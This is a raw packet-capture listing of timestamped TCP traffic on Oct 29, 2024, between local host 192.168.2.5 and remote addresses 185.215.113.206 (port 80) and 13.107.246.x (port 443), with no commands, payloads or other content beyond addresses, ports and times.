Oct 29, 2024 20:35:21.184287071 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.184300900 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.184314013 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.184326887 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.184344053 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.203010082 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.212805986 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.212831974 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.213099957 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.213241100 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.213381052 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.213660955 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.213677883 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.216839075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216854095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216865063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216876984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216888905 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216901064 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216912985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216922045 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.216923952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216941118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216950893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216964006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.216969013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216978073 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.216980934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.216994047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217010975 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217017889 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.217017889 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.217035055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217053890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217065096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217070103 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.217070103 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.217077017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217088938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217102051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217108965 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.217113972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217124939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217137098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217144966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.217144966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.217148066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217159986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217161894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.217171907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217183113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217194080 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217205048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217216969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.217230082 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.217255116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.217255116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218255043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218266964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218278885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218291044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218302965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218313932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218326092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218328953 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218367100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218390942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218401909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218409061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218420029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218425989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218430996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218436956 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218441963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218449116 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218455076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218460083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218466043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218471050 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218477011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218482018 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218488932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218714952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218725920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218736887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218751907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218764067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218775988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218786955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218810081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218827009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218838930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218849897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218854904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218854904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218854904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218854904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218854904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218854904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218862057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218878984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218879938 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218879938 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218888998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218894958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218900919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218911886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218924046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218935966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218935966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218935966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218946934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218957901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218969107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218978882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218978882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.218978882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.218990088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219001055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219003916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219013929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219024897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219037056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219044924 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219044924 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219048023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219059944 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219063997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219070911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219083071 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219094038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219105005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219105959 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219142914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219142914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219235897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219247103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219258070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219269037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219281912 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219291925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219300032 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219327927 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219755888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219769001 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219780922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219791889 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219803095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.219825029 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219825029 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.219842911 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220020056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220031977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220043898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220057011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220057964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220069885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220078945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220093012 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220093012 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220191956 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220210075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220221043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220232010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220242977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220254898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220258951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220258951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220266104 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220277071 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220287085 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220288038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220299006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220304012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220309973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220319033 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220320940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220334053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220345020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220362902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220366955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220366955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220374107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220391989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220395088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220403910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220417023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220443010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220443010 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220499992 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220637083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220649958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220659971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220671892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220683098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220690966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220694065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220705986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.220733881 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.220746040 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.221488953 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221501112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221512079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221524954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221537113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221538067 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.221548080 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221560001 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221584082 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.221584082 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.221766949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221786022 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.221921921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221932888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221944094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221956015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221966982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.221966982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.221968889 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221981049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.221992970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.222006083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.222008944 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.222017050 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.222029924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.222037077 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.222037077 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.222040892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.222084999 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.222084999 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.223535061 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.223535061 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.223556995 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.223571062 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.223968983 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.223980904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.223993063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.224004030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.224029064 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.224060059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.224071980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.224082947 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.224092960 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.224096060 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.224096060 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.224136114 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.226550102 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.226578951 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.226659060 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.226685047 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.226703882 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.226995945 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.238902092 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.238950968 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.239026070 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.239509106 CET	49916	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.239527941 CET	443	49916	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.299683094 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.299720049 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.299810886 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.299839973 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.299880028 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.300030947 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.300162077 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.300182104 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.300246954 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.300255060 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.300652981 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.301615000 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.301637888 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.301712990 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.301719904 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.302135944 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.305947065 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.305969000 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.306050062 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.306057930 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.306101084 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.306529045 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.306546926 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.306592941 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.306603909 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.306631088 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.306647062 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.307440042 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.307461977 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.307522058 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.307528019 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.307569027 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.308624029 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.333261013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333278894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333293915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333394051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.333410978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333424091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333436012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333447933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333470106 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.333508015 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.333508968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.333522081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333534002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333545923 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333558083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333575010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333585978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333597898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333604097 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.333605051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.333610058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333622932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333636045 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.333646059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.333646059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.333710909 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.333710909 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.335063934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335078001 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335088968 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335103035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335120916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335133076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335144997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335155964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335169077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335175037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.335181952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335194111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335205078 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.335206985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335218906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335230112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:21.335247993 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.335247993 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.335295916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.335295916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:21.343276978 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.343302965 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.343369961 CET	49903	443	192.168.2.5	13.107.246.57
